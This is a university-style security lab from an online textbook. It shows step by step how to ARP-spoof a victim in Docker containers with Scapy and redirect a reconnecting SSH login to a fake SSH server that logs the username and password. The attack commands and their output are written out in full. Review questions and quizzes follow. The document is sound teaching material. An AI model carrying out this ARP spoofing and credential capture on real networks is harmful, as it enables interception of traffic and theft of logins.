Skip to main content

Section 5.7 Lab: MitM with Scapy

In this lab we will use a fake SSH server, sshesame
 1 
github.com/jaksi/sshesame
, and an interactive packet manipulation program, scapy
 2 
scapy.net/
, to disrupt an ongoing SSH session between victim and server, position ourself in the middle of the traffic, and capture the username and password victim is using.
Table 5.7.1. IP Addresses Used
Name IP Address
server 172.20.0.5
victim 172.20.0.6
attacker 172.20.0.7
For this lab our IP addresses are configured statically and are known to the attacker. It is also assumed that the attacker is on the local network. Lastly victim has been poorly configured to ignore changes to the host key. This is not entirely unreasonable as many users just ignore the warnings and clear out the known_hosts file when prompted anyway.
We will use scapy, a Python-based interactive packet manipulation program and library Scapy can forge or decode packets, send them on the wire, capture them, and match requests and replies. It can also handle tasks like scanning, tracerouting, probing, unit tests, attacks, and network discovery.

Subsection 5.7.1 MitM with Scapy in a Github Codespace

Go github.com/pearcej/security-scapy
 3 
github.com/pearcej/security-scapy
. Then:
  1. Fork this codespace into your own Github repository.
  2. Navigate to your repository on GitHub.
  3. Click the green Code button and select Codespaces.
  4. Click "Create codespace on main".
  5. Wait for the codespace to be created.
Be sure to either stop or delete this codespace when you are done by clicking the "Stop" button or the "Delete" button in the Codespaces tab of your repository.
Next, jump down to follow the lab directions in Subsection 5.7.3.

Subsection 5.7.2 MitM with Scapy in a Local Docker Container

Start by downloading the scapy.zip
 4 
github.com/rxt1077/it230/raw/main/labs/scapy.zip
file which contains the Docker Compose configuration we will be using. Uncompress it to a directory where you have write access.
WARNING:
Do NOT unzip this zip file on your host machine.
It is intended to be used only inside a Docker container.
Running it directly on your host may present a security risk.

Subsection 5.7.3 Continue with the MitM with Scapy Lab

This lab will require us to use three terminal windows/tabs: one for the docker-compose up command which will show the output of everything running in the background, one for the victim which will show an SSH session with the server, and one for the attacker which we will use to make the attack.
Illustration of three terminal windows representing a lab setup involving Docker Compose, a victim machine, and an attacker machine using Scapy.
The diagram displays three stylized representations of terminal windows, each associated with a different role in a network security lab. The top-left window, titled "docker-compose up," shows the command "$ docker-compose up" being entered, indicating the initiation of services or an environment using Docker Compose. The top-right window, labeled "victim," shows the command "$ ssh server," suggesting the victim machine is establishing an SSH connection to a server. Positioned below these two, the third window is titled "attacker." Inside this window, the command "$ scapy" is shown, followed by the Scapy interactive prompt ">>>", indicating that the attacker is using the Scapy tool for packet manipulation. Together, these windows depict the initial command setup for an exercise or demonstration involving these three components.
Figure 5.7.2. MitM with Scapy Lab Set-up
Open three terminals and cd into the directory where you uncompressed the lab zip file in each of them. There should be a docker-compose.yml file and server, victim, and attacker directories in the directory you are in.
In the first terminal run the docker-compose up command to build the images and run the containers:
docker-compose up
PS C:\Users\rxt1077\it230\labs\scapy> docker-compose up
Creating network "scapy_testnet" with the default driver
Creating scapy_server_1   ... done
Creating scapy_victim_1   ... done
Creating scapy_attacker_1 ... done
Attaching to scapy_victim_1, scapy_server_1, scapy_attacker_1
server_1    | > Starting SSHD
server_1    | >> Generating new host keys
scapy_victim_1 exited with code 0
attacker_1  | INFO 2021/10/07 13:56:45 No host keys configured, using keys at "/root/.local/share/sshesame"
attacker_1  | INFO 2021/10/07 13:56:45 Host key "/root/.local/share/sshesame/host_rsa_key" not found, generating it
attacker_1  | INFO 2021/10/07 13:56:45 Host key "/root/.local/share/sshesame/host_ecdsa_key" not found, generating it
attacker_1  | INFO 2021/10/07 13:56:45 Host key "/root/.local/share/sshesame/host_ed25519_key" not found, generating it
attacker_1  | INFO 2021/10/07 13:56:45 Listening on [::]:22 (1)
server_1    | ssh-keygen: generating new host keys: RSA DSA ECDSA ED25519
server_1    | >>> Fingerprints for dsa host key
server_1    | 1024 MD5:a5:e6:e9:38:d2:2e:88:fd:f0:aa:a8:05:07:35:5f:18 root@a010fe3c2f3c (DSA)
server_1    | 1024 SHA256:NM7DONpt1doZp4e6WV+6WVVr+KUrh9luUSRcAhnzdyw root@a010fe3c2f3c (DSA)
server_1    | 1024 SHA512:LHfFdSk1XiAKQArH0CW+RkaKv5GgovPCH7UIQ+P4T2LbgGpCBP5aGA1V3oriYbTZWuS9TlUgDbEfTBq19AV/cA root@a010fe3c2f3c (DSA)
server_1    | >>> Fingerprints for rsa host key
server_1    | 3072 MD5:74:44:b6:a2:74:b9:7e:1b:ba:3d:27:b8:19:3a:48:df root@a010fe3c2f3c (RSA)
server_1    | 3072 SHA256:mubm9mLNrdNDk5fyj0dghDBIbbwcVKXo23Qdv61/S/c root@a010fe3c2f3c (RSA)
server_1    | 3072 SHA512:JFQhS6trY7sNqRSwZ+t0uyBb5ddNh9qSLtBrMaa5G7xWzKHpxCuKBSDbvLk4W9JKeQftTU4293UDV9vqCcf/6w root@a010fe3c2f3c (RSA)
server_1    | >>> Fingerprints for ecdsa host key
server_1    | 256 MD5:15:75:5f:9b:72:7c:f0:13:ea:0d:b4:47:b7:62:69:63 root@a010fe3c2f3c (ECDSA)
server_1    | 256 SHA256:4p/Afp/8C2tHn7AePdS7OHCgPxfBamdaLIUg4IJ7xx4 root@a010fe3c2f3c (ECDSA)
server_1    | 256 SHA512:NnbevqBXFkGQWIirdFsLPnX85q7q/1Y7E4i+BLHLqE3cg2aqkduBJsssyr9+G7bSvq7txvjl9SRmyRAzuDT7DQ root@a010fe3c2f3c (ECDSA)
server_1    | >>> Fingerprints for ed25519 host key
server_1    | 256 MD5:ad:00:61:26:4d:a0:07:be:6b:8e:91:bd:f0:65:e6:14 root@a010fe3c2f3c (ED25519)
server_1    | 256 SHA256:Vl7jQulDsONglP1xbSN+J8nSfCaIER40rHhgy7z/BYg root@a010fe3c2f3c (ED25519)
server_1    | 256 SHA512:WkmvOWe6oaZ/qE1ZiA0rZAjn9H+hCDxI8NHpsjRNCalK/CgVV9+VhkzHgRTKfKTqQeE0y/Zz2GaEJGv/sapCHg root@a010fe3c2f3c (ED25519)
server_1    | WARNING: No SSH authorized_keys found!
server_1    | >> Unlocking root account
server_1    | WARNING: password authentication enabled.
server_1    | WARNING: password authentication for root user enabled.
server_1    | >> Running: /etc/entrypoint.d/changepw.sh
server_1    | Running /usr/sbin/sshd -D -e -f /etc/ssh/sshd_config
server_1    | Server listening on 0.0.0.0 port 22. (2)
server_1    | Server listening on :: port 22.

Note 5.7.3. Things to note in the previous codeblock.

  • (1) Notice that attacker has a fake SSH server running in the background.
  • (2) Notice that server has a legitimate SSH server running in the background.

Note 5.7.4.

If you receive the error failed to create network scapy_testnet: Error response from daemon: Pool overlaps with other one on this address space check to see if you have other containers running and stop them. You may also need to run docker network prune to remove the old networks Docker built.
In the second terminal run docker-compose run victim bash and then from the prompt we’ll SSH to server using the password "password":
victim
PS C:\Users\rxt1077\it230\labs\scapy> docker-compose run victim bash
Creating scapy_victim_run ... done
bash-5.0# ssh server
Warning: Permanently added 'server,172.20.0.5' (ECDSA) to the list of known hosts.
root@server's password: (3)
You are now logged into 'server' (presumably from 'victim') via SSH for this assignment.
Leave this connection open while you experiment with scapy from 'attacker'.
bf9ebe42a108:~#

Note 5.7.5.

(3) The password is "password". It will not be echoed to the screen as you type it.

Note 5.7.6.

If for some reason the password will not work and you are sure you are typing it in correctly you can run the following command docker compose exec server passwd (note it’s passwd and not password). Type in the password twice and it will be reset to whatever you typed. What you type will not be echoed to the screen. You should now be able to ssh from victim to server with the password you typed in.
In the third terminal we’ll start by executing (recall that at this point it’s already running sshesame in the background) a BASH shell on attacker and configuring it to accept packets not only for its own IP address, but also for the server’s IP address. Once traffic is routed to us, this will allow attacker to also respond to packets destined for 172.20.0.5.
attacker
PS C:\Users\rxt1077\it230\labs\scapy> docker-compose exec attacker bash
root@5195de3d330c:/# ip addr add 172.20.0.5 dev eth0
root@5195de3d330c:/# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
    link/ipip 0.0.0.0 brd 0.0.0.0
3: sit0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
    link/sit 0.0.0.0 brd 0.0.0.0
347: eth0@if348: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:14:00:07 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.20.0.7/24 brd 172.20.0.255 scope global eth0 (4)
       valid_lft forever preferred_lft forever
    inet 172.20.0.5/32 scope global eth0 (5)
       valid_lft forever preferred_lft forever

Note 5.7.7. Things to note in previous code.

  • (4) This is the IP we started with.
  • (5) This is an additional IP that attacker believes it has.
Now that the attacker system is configured, we’ll start up scapy interactively:
attacker
root@5195de3d330c:/# scapy
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
INFO: No IPv6 support in kernel
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication.
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.

                     aSPY//YASa
             apyyyyCY//////////YCa       |
            sY//////YSpcs  scpCY//Pp     | Welcome to Scapy
 ayp ayyyyyyySCP//Pp           syY//C    | Version 2.4.5
 AYAsAYYYYYYYY///Ps              cY//S   |
         pCCCCY//p          cSSps y//Y   | https://github.com/secdev/scapy
         SPPPP///a          pP///AC//Y   |
              A//A            cyP////C   | Have fun!
              p///Ac            sC///a   |
              P////YCpc           A//A   | To craft a packet, you have to be a
       scccccp///pSP///p          p//Y   | packet, and learn how to swim in
      sY/////////y  caa           S//P   | the wires and in the waves.
       cayCyayP//Ya              pY/Ya   |        -- Jean-Claude Van Damme
        sY/PsY////YCc          aC//Yp    |
         sc  sccaCY//PCypaapyCP//YSs
                  spCPY//////YPSps
                       ccaacs
>>>
You’ll notice that scapy’s prompt is >>>, just like python because it is python. Since we’re working in python, let’s make our lives easier by defining a few simple variables:
attacker
>>> server_ip = "172.20.0.5" (6)
>>> victim_ip = "172.20.0.6"

Note 5.7.8.

(6) IPv4 addresses are strings in scapy.
Now let’s see how scapy allows us to build packets. We’ll make an Ethernet frame, with an IP packet inside it, with an ICMP echo request in that, with the data being set to our name:
attacker
>>> ping = Ether()/IP(dst=server_ip)/ICMP()/"Ryan Tolboom" (7)
>>> ping.show() (8)
###[ Ethernet ]###
  dst       = 02:42:ac:14:00:05
  src       = 02:42:ac:14:00:07
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = None
     tos       = 0x0
     len       = None
     id        = 1
     flags     =
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = None
     src       = 172.20.0.7
     dst       = 172.20.0.5
     \options   \
###[ ICMP ]###
        type      = echo-request
        code      = 0
        chksum    = None
        id        = 0x0
        seq       = 0x0
        unused    = ''
###[ Raw ]###
           load      = 'Ryan Tolboom'

>>> result = srp1(ping) (9)
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
>>> result.show()
###[ Ethernet ]###
  dst       = 02:42:ac:14:00:07
  src       = 02:42:ac:14:00:05
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 40
     id        = 62086
     flags     =
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x301a
     src       = 172.20.0.5
     dst       = 172.20.0.7
     \options   \
###[ ICMP ]###
        type      = echo-reply
        code      = 0
        chksum    = 0xea7a
        id        = 0x0
        seq       = 0x0
        unused    = ''
###[ Raw ]###
           load      = 'Ryan Tolboom'

>>> server_mac = result[0][0].src
>>> server_mac
'02:42:ac:14:00:05'

Note 5.7.9. Things to note in the previous codeblock.

  • (7) Scapy uses the ’/’ operator to nest protocols. This is my name in an ICMP packet, in an IP packet, in an Ethernet frame. Be sure you use your own name!
  • (8) The show() command prints out packets in detail.
  • (9) The srp1() function sends and receives one packet at Layer 2.
Notice how we use this to capture the server’s MAC address and save it in the server_mac variable.

Note 5.7.10.

Your instructor may wish for you to take a screenshot of your scapy session at this point showing that you completed an ICMP echo request/response with your name in it.
We can also determine MAC addresses at Layer 2 with an ARP "who-has" request. Let’s craft and send a broadcast ethernet frame with an ARP "who-has" request for the victims’s IP address. The result will tell use what the victim’s MAC address is:
attacker
>>> whohas = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=victim_ip)
>>> result = srp1(whohas)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> result.show()
###[ Ethernet ]###
  dst       = 02:42:ac:14:00:07
  src       = 02:42:ac:14:00:06 (10)
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:ac:14:00:06
     psrc      = 172.20.0.6
     hwdst     = 02:42:ac:14:00:07
     pdst      = 172.20.0.7

>>> victim_mac = result[0].src

Note 5.7.11.

(10) This is my MAC address of victim, but yours will likely be different!
This is how an ARP exchange is supposed to work. We broadcast out asking what MAC we should use for a certain IP and we get a response from the person who legitimately has that MAC and IP.
We have everything we need to create an ARP packet telling the victim to send traffic to us when they are trying to access servers IP:
attacker
>>> victim_ip, victim_mac, server_ip, server_mac
('172.20.0.6', '02:42:ac:14:00:06', '172.20.0.5', '02:42:ac:14:00:05')
Now let’s make and view an evil ARP packet:
attacker
>>> bad_arp = ARP(op=2, pdst=victim_ip, psrc=server_ip, hwdst=victim_mac)
>>> bad_arp
<ARP  op=is-at psrc=172.20.0.5 hwdst=02:42:ac:14:00:06 pdst=172.20.0.6 |>
This packet posits itself as coming from the server, it is aimed at the victim in both IP and MAC, but the MAC address that will be used to send it is ours (by default, we don’t specify with hwsrc). This means the victim will update their ARP cache such that frames destined for server go to attacker. This effectively reroutes all layer 2 traffic that was going to the server from the victim.
Go ahead an send that ARP packet:
attacker
>>> send(bad_arp)
.
Sent 1 packets.
Now go back to the victim terminal with the SSH connection to server and try typing something. As soon as SSH has to send data, you will get a broken pipe error and the connection will drop. Faced with such a problem, what do you think most users will do? Probably try to reconnect, let’s try that too. Remember the password is "password".
victim
You are now logged into 'server' (presumably from 'victim') via SSH for this assignment.
Leave this connection open while you experiment with scapy from 'attacker'.
bf9ebe42a108:~# client_loop: send disconnect: Broken pipe (11)
bash-5.0# ssh server
Warning: Permanently added 'server,172.20.0.5' (ECDSA) to the list of known hosts.
root@server's password:
#

Note 5.7.12.

(11) This happened when they tried to type something right after we sent the malicious ARP.
Wait, that prompt looks a little different and where’s the message about staying logged in? It turns out the victim actually signed into our fake SSH server and their username and password were logged! Take a look at the output from the terminal running docker-compose up, you’ll see the credentials entered:
docker-compose up terminal
attacker_1  | 2021/10/07 01:21:41 [172.20.0.6:60252] authentication for user "root" with password "password" accepted

Question 5.7.13.

  1. How would you create an ARP packet in scapy to reverse the change that you made previously and fix the route?
  2. Would using keys instead of passwords help prevent this kind of attack? Why or why not?
  3. How would managing host keys correctly
     5 
    %20%7C%20%7C%20%7C%20www.ssh.com/academy/ssh/host-key
    prevent this kind of attack?
To stop the running containers, you can type Ctrl-C in the terminal running docker-compose up, exit out of the victim, and exit out of the attacker.

Note 5.7.14.

If you chose to use a Github codespace, don’t forget to stop or delete the codespace by clicking the "Stop" button or the "Delete" button in the Codespaces tab of your repository.

Checkpoint 5.7.15.

True or False: The server’s MAC address was captured using an ICMP echo reply in Scapy.
  • True
  • Correct! Scapy’s srp1() command captured the ICMP echo reply, revealing the MAC address in the Ethernet layer.
  • False
  • Not quite. The MAC address came from the response to an ICMP ping built with Scapy and shown using show().

Checkpoint 5.7.16.

What effect does the command ip addr add 172.20.0.5 dev eth0 have on the attacker system?
  • It deletes the original IP address of the attacker system.
  • Nope — this command adds a second IP, it doesn’t remove the original one.
  • It changes the MAC address of the attacker to match the server.
  • Incorrect. The command does not affect the MAC address, only the IP configuration.
  • It allows the attacker to receive traffic intended for the server’s IP address.
  • Correct! This effectively lets the attacker impersonate the server at the IP layer.
  • It configures port forwarding between victim and server.
  • Not quite. No port forwarding is set here — it’s just assigning an IP.

Checkpoint 5.7.17.

How did the attacker discover the victim’s MAC address in this lab?
  • By scanning the MAC address table of the switch.
  • Nope — the lab doesn’t involve switches or MAC tables.
  • By sending an ARP who-has request to the victim’s IP address.
  • Exactly! The attacker sent a broadcast ARP request and got the MAC in the ARP reply.
  • By using the scapy.ping() function.
  • Incorrect — that would send ICMP, not ARP. ARP is used to find MAC addresses at Layer 2.
  • By guessing the MAC based on the IP address and Docker defaults.
  • Nope. While Docker MACs follow patterns, the attacker retrieved it with an actual ARP reply, not a guess.
You have attempted 1 of 2 activities on this page.